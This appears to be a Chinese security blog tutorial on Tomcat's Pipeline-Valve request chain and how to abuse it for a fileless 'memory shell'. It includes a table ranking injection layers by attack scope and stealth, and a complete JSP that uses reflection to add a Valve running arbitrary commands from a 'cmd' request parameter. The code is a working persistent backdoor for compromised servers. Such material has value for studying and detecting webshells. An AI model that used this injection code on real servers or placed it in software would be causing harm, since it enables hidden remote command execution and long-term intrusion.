Tomcat Valve内存马

约 11 分钟读完

Tomcat Valve内存马

1. Valve机制

1.1 Valve认识

可以把 Tomcat 里的 Valve 理解成请求处理流程中的 “自定义插件”—— 它能在请求到达 Servlet 之前,插入一段自己的逻辑(比如日志记录、权限校验,甚至是恶意代码)。每个 Valve 只负责一件事,多个 Valve 按顺序组合起来,就形成了 Tomcat 对请求的 “流水线式” 处理。

1.2 核心设计:“管道 - 阀门”(Pipeline-Valve)模式

Tomcat 的请求处理链路本质上是一个 “责任链模式” 的实现,而 Pipeline(管道)和 Valve(阀门)是这个模式的具体载体:

  • Pipeline(管道):可以理解为一个 “容器”,内部按顺序存放多个 Valve(阀门),并规定了 Valve 的执行顺序。每个层级(如 Engine、Host 等)都有且仅有一个 Pipeline。

  • Valve(阀门):是具体的 “处理器”,每个 Valve 负责完成一项特定的功能(如编码转换、权限校验、日志记录等)。一个 Pipeline 中可以有多个 Valve,它们按添加顺序依次执行。

  • 基础阀门(Basic Valve):每个 Pipeline 必须有一个 “基础阀门”(由 Tomcat 内部默认实现),它是 Pipeline 中最后执行的 Valve,负责将请求传递到下一层级的 Pipeline(或最终的 Servlet)。例如,Wrapper 层级的基础阀门会调用 Servlet 的 service() 方法。

1.3 层级结构:从请求入口到 Servlet 的完整链路

Tomcat 的请求处理链路分为 5 个核心层级,每个层级对应一个组件,每个组件都有自己的 Pipeline 和 Valve。请求会从顶层逐级向下传递,具体层级如下:

![image-20251023144510887](/public/img/Tomcat Valve 内存马/image-20251023144510887.png)

1. Connector(连接器)

  • 作用:接收客户端请求(如 HTTP 协议的 8080 端口),将原始字节流解析为 Tomcat 内部的 RequestResponse 对象。
  • Pipeline 特点:Connector 的 Pipeline 主要处理协议解析(如 HTTP 转 Tomcat 内部对象)、连接管理等底层逻辑,是请求进入 Tomcat 容器的‘第一关,其 Pipeline 中的 Valve 主要处理与协议相关的底层逻辑(如 SSL 解密、请求头解析等)。

2. Engine(引擎)

  • 作用:Tomcat 的顶层容器,负责管理多个 Host(虚拟主机),并将请求转发到对应的 Host。
  • Pipeline 特点:Engine 的 Pipeline 处理所有虚拟主机共有的逻辑(如全局日志、跨主机的权限控制等)。

3. Host(虚拟主机)

  • 作用:对应一个虚拟主机(如 localhost 或自定义域名),负责管理多个 Context(Web 应用),将请求转发到对应的 Context。
  • Pipeline 特点:Host 的 Pipeline 处理当前虚拟主机特有的逻辑(如主机级别的访问控制、域名相关的过滤等)。

4. Context(Web 应用上下文)

  • 作用:对应一个部署在 Tomcat 中的 Web 应用(如 ROOT 应用或 test.war 解压后的应用),负责管理多个 Wrapper(Servlet 包装器)。
  • Pipeline 特点:Context 的 Pipeline 是开发者最常接触的层级之一,其 Valve 会处理当前 Web 应用的通用逻辑(如会话管理、应用级别的权限校验等)。关键:Context 的 Pipeline 执行优先级高于 Web 应用中的 Filter 链(即 Valve 比 Filter 更早拦截请求)。

5. Wrapper(Servlet 包装器)

  • 作用:对应一个具体的 Servlet(如 HelloServlet),是请求处理的最终执行者。
  • Pipeline 特点:Wrapper 的 Pipeline 处理与当前 Servlet 相关的逻辑(如 Servlet 初始化检查、请求参数验证等),其基础阀门会直接调用 Servlet 的 service() 方法。

1.4 完整链路

![image-20250621094726-ge4ciuh](/public/img/Tomcat Valve 内存马/image-20250621094726-ge4ciuh.png)

当请求到达 Tomcat 后,会严格按照 “Engine Pipeline → Host Pipeline → Context Pipeline → Wrapper Pipeline” 的顺序流转,每一层的 Pipeline 都通过 Valve 接力传递请求:

  1. 请求经 Connector 解析后,进入 Engine 的 Pipeline,依次执行所有自定义 Valve → 执行 Engine 的 Basic Valve,将请求传给匹配的 Host 的 Pipeline;

  2. 请求进入 Host 的 Pipeline,依次执行所有自定义 Valve → 执行 Host 的 Basic Valve,将请求传给匹配的 Context 的 Pipeline;

  3. 请求进入 Context 的 Pipeline,依次执行所有自定义 Valve(这里的 Valve 执行优先级高于 Filter 链)→ 执行 Context 的 Basic Valve,将请求传给匹配的 Wrapper 的 Pipeline;

  4. 请求进入 Wrapper 的 Pipeline,依次执行所有自定义 Valve → 执行 Wrapper 的 Basic Valve,调用 Filter 链 → 最终调用 Servlet 的 service() 方法处理业务。

2. Vlave内存马

2.1 调试分析

了解valve的机制后, 新建一个项目, 然后断点调试分析.

![image-20251023151912508](/public/img/Tomcat Valve 内存马/image-20251023151912508.png)

从这个堆栈可以清晰看到 Valve 在请求链路中的 “分层拦截” 作用

  • 每个层级都有专属 Valve:Engine、Host、Context、Wrapper 各层级都有对应的 Valve(如 StandardEngineValveStandardHostValve 等),它们按 “从上到下” 的顺序拦截请求,完成各自的功能。
  • Valve 是请求流转的 “接力棒”:每个层级的 Valve 执行完自身逻辑后,会通过 getNext().invoke(request, response) 把请求传递给下一个 Valve(或基础阀门),最终到达 Servlet。
  • Valve 比 Filter 更早执行:Context 层级的 Valve(如 StandardContextValve)执行优先级高于 Web 应用中的 Filter 链,这也是 Valve 内存马能 “抢先拦截请求” 的关键。

2.2 注入原理

Tomcat 的 Pipeline 接口提供了 addValve(Valve valve) 方法,允许在运行时向任意层级(Engine、Host、Context、Wrapper)的 Pipeline 中添加新的 Valve:

public interface Pipeline {

    void addValve(Valve valve);

    Valve[] getValves();

    // ...

}

这意味着:

  • 无需重启服务
  • 无需修改配置文件(如 server.xml)
  • 无需部署新 WAR 包
  • 只要能执行任意 Java 代码(例如通过已有 WebShell),就能动态插入自定义 Valve。

了解这个过程, 就可以考虑在这个过程中注入内存马

Valve 内存马可以注入到 Tomcat 的不同层级(Engine、Host、Context、Wrapper),不同层级的注入会影响攻击范围和隐蔽性:

注入层级 攻击范围 隐蔽性 典型场景
Engine 全局所有虚拟主机和应用 低(影响面大) 批量控制多应用服务器
Host 单个虚拟主机下的所有应用 控制特定域名下的所有 Web 应用
Context 单个 Web 应用 高(精准) 隐蔽控制目标应用
Wrapper 单个 Servlet 极高 针对特定接口的精准攻击

Valve 内存马实现逻辑(以 Context 层级为例)

2.3 注入逻辑说明(Context 层级)

  1. 获取当前请求的 Request 对象 JSP 中可通过内置对象 request 获取(实际类型为 org.apache.catalina.connector.RequestFacade)。
  2. 通过反射获取底层 RequestContext
    • RequestFacade 是包装类,需反射获取其内部的 request 字段;
    • Request 中调用 getContext() 获取 StandardContext
  3. 动态定义恶意 Valve 类 使用 javax.tools.JavaCompiler 在内存中编译 Java 源码(避免写文件),或直接通过字节码加载(此处为简化,使用动态类定义 + 反射实例化)。
  4. 将恶意 Valve 添加到 Context 的 Pipeline 调用 context.getPipeline().addValve(evilValve) 完成注入。
  5. 后续请求将被恶意 Valve 拦截 例如访问 /shell?cmd=whoami 即可执行命令。

2.4 完整代码

<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!

    public class ValveTest extends ValveBase {
        @Override
        public void invoke(Request request, Response response) throws IOException, ServletException {
            String cmd=request.getParameter("cmd");
            if(cmd!=null){
                Runtime.getRuntime().exec(cmd);
            }

        }
    }
%>
<%
    // 从request中获取servletContext
    ServletContext servletContext = request.getServletContext();

    // 从servletContext中获取applicationContext
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
    // 从applicationContext中获取standardContext
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
    standardContext.getPipeline().addValve(new ValveTest());
    out.println("yes");
%>

测试:

  1. 启动项目
  2. 访问jsp文件
  3. 访问请求带参数?cmd=calc
← Listen内存马 Spring Interceptor内存马 →